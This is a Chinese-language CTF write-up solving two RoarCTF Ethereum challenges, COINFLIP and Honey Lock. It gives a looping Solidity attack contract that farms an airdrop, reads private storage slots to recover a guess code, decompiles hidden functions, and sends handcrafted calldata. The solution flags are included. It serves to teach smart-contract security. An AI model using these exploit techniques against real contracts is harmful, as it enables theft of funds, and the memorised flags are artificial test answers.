COINFLIP

根据题目描述,没有附件,直接看源码:https://ropsten.etherscan.io/address/0xf60adef7812214ebc746309ccb590a5dbd70fc21#code

1.要获取flag,必须账户余额必须大于500ether(注意:这里的ether只是一个单位,10的18次方):

1
2
3
4
function CaptureTheFlag(string b64email) public returns(bool){
require (balances[msg.sender] > 500 ether);
emit FLAG(b64email, "Congratulations to capture the flag!");
}

2.看代码如何获取token,该处有一个空投函数:

1
2
3
4
5
function Ap() public {
if(balances[msg.sender] == 0) {
balances[msg.sender]+=1 ether;
}
}

当账户余额是0时,调用该函数能够获取1ether,那么如果一个账户要有500ether,就有两种方法
创建500个账户,分别调用一次该函数,并将获取的token都转到同一个账户X,那么X账户余额就有了500ether,就可以执行CaptureTheFlag。
创建一个账户,每调用Ap()一次后将余额转到账户X,再继续调用Ap(),再转账,执行500次。
3.攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Hack
{
P_Bank public pb;
event Ctflog(address addr_);
function attack(address target,int len) public{  
for(int i=0;i<len;i++){
pb = P_Bank(target); //这个放在循环外面就是思路2,放在里面就是思路1,差别不大。
pb.Ap();
emit Ctflog(msg.sender); //msg.sender执行该函数的账户
pb.Transfer(msg.sender,1 ether);
}
}
}

但由于gas的限制,循环次数可能不能直接设置500,我这里设置200,200,100.

执行结束后,我的账户里就有了500ether,这时候就可以成功调用CaptureTheFlag,获得flag。
flag:RoarCTF{wm-da64ccd4c370ab6a8ee64381cfa14a1e

合约第二题 Honey Lock

题目给了源码(后来发现是部分)和合约地址:https://ropsten.etherscan.io/address/0x8d73365bb00a9a1a06100fdfdc22fd8a61cfff93#code
第一次做比赛题,开始被坑了,以为附件给出的就是全部源码。下面给出解题过程:
读附件源码,调用CaptureTheFlag,必须满足两个条件:
takeRecord[msg.sender] == true;
balances[msg.sender] == 0

1
2
3
4
5
function CaptureTheFlag(string b64email) public returns(bool){
      require (takeRecord[msg.sender] == true);
      require (balances[msg.sender] == 0);
      emit FLAG(b64email, "Congratulations to capture the flag!");
    }

第一个条件有两个地方可以得到满足:构造函数HoneyLock()和takeMoney(),显然是要调takeMoney(),但是调用该函数后会得到一个空投,balances[owner] = airDrop;,从而无法满足上述的条件2,那么就要找找怎么把账户的余额转出去。看附件代码,有一个transfer()和withdraw() 都可以实现,但是仔细看一下,发现了问题:
对于transfer(),加了一个时间转账的条件:
modifier lock() {       require (now > timeHouse[msg.sender]);       _;     }
现在的时间必须大于timeHouse[msg.sender],但是在调用takeMoney()的时候,该变量的时间已经被赋值为一年后:timeHouse[owner] = time;,uint public time = now + 1 years;,因此该函数没法调用。

对于withdraw() ,要执行成功必须满足两个条件:onlyOwner,和takeRecord[msg.sender] == true,这里第二个条件在调用了takeMoney()之后就已经满足了,主要是第一个,看了一个代码,发现:

1
2
3
4
  function useCode(uint256 code) public payable {
      require ((code == guessCode) && (msg.value >= guessValue)); 
      owner = msg.sender;
    }

猜数字,我们知道在区块链里全局变量是可以直接通过getStorage读取的,只要知道变量对应的存储slot就可以,分析一下知道guessCode的slot=5,guessValue的slot=6,用rpc api查看值:
107ad97c.png

code=0x29a(对应十进制666),value=0x2386f26fc10000(对应十进制0.01ether),调用useCode,666作为参数,msg.value=0.01ether就可以调用成功,此时 owner 就是 msg.sender了,按道理应该是可以调用withdraw(),可是调用报错。
只能改变思路,想起来还有一个transferFrom()也可以转账,这边也没有重写,应该可以通过approve和transferFrom()来转账。操作一波后发现也调用不了。百思不解不得其解,不过就在刚刚写文档的时候想起来了,transferFrom()内部也会调用transfer()啊。
这也不行,就想起了给的合约地址,没有源码,就反编译了一波,发现了原来给的不是全部源码呀,而且还有误导的地方,比如onlyOwner这里并不是要owner=msg.sender,而是(msg.sender == storage[4])(这个onlyOwner不知道是不是自己理解有问题,还需要继续看一下)。然后源码里面要有另一个无法反编译出函数名的函数,和transferFrom()有点类似,但是多了一个参数,这个参数对该转账加了一个限制条件:

1
2
3
4
5
6
7
8
9
//https://ropsten.etherscan.io反编译的伪代码
function 5ad0ae39() public {
    require((_arg2 <= allowance[_arg0]));
    require(((storage[2] + msg.sender) == _arg3));
    balanceOf[_arg0] -= _arg2;
    balanceOf[_arg1] = (balanceOf[_arg1] + _arg2);
    allowance[_arg0] -= _arg2;
    return 1;
}

限制条件就是storage[2] + msg.sender == _arg3,storage[2]的内容对应十进制是53231323(出题人莫不是在玩吉他的时候想出的题?),也就是说第四个参数是msg.sende加上53231323。

调用5ad0ae39() 之前需要调用approve(),把账户A的余额委托给B,然后由B调用5ad0ae39()将A的钱转给C,简单一点,就将账户A余额委托给A,然后A调用5ad0ae39()将钱转给地址0x00:
这个approve()的调用可以直接在remix里面进行:
13b2e6df.png

5ad0ae39()需要用api,先把data整理一下:函数名+四个参数:
0x5ad0ae39000000000000000000000000967f8ac6502ecba2635d9e4eea2f65ad4940b1b1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e8000000000000000000000000967f8ac6502ecba2635d9e4eea2f65ad4c6cf08c

然后在console里调用eth.sendTransaction():
28773450.png

metamask会弹出转账窗口,调整gas数就等待交易完成了。
这边开始用的sendSignedTransaction(),但始终不成功,不知道有没有大佬熟悉这个接口调用的,指导一下。

到这里就满足takeRecord[msg.sender] == true并且账户余额为0,可以调用CaptureTheFlag方法,坐等flag。
flag:RoarCTF{wm-87fc255216991be9173a59aa8b6845a0}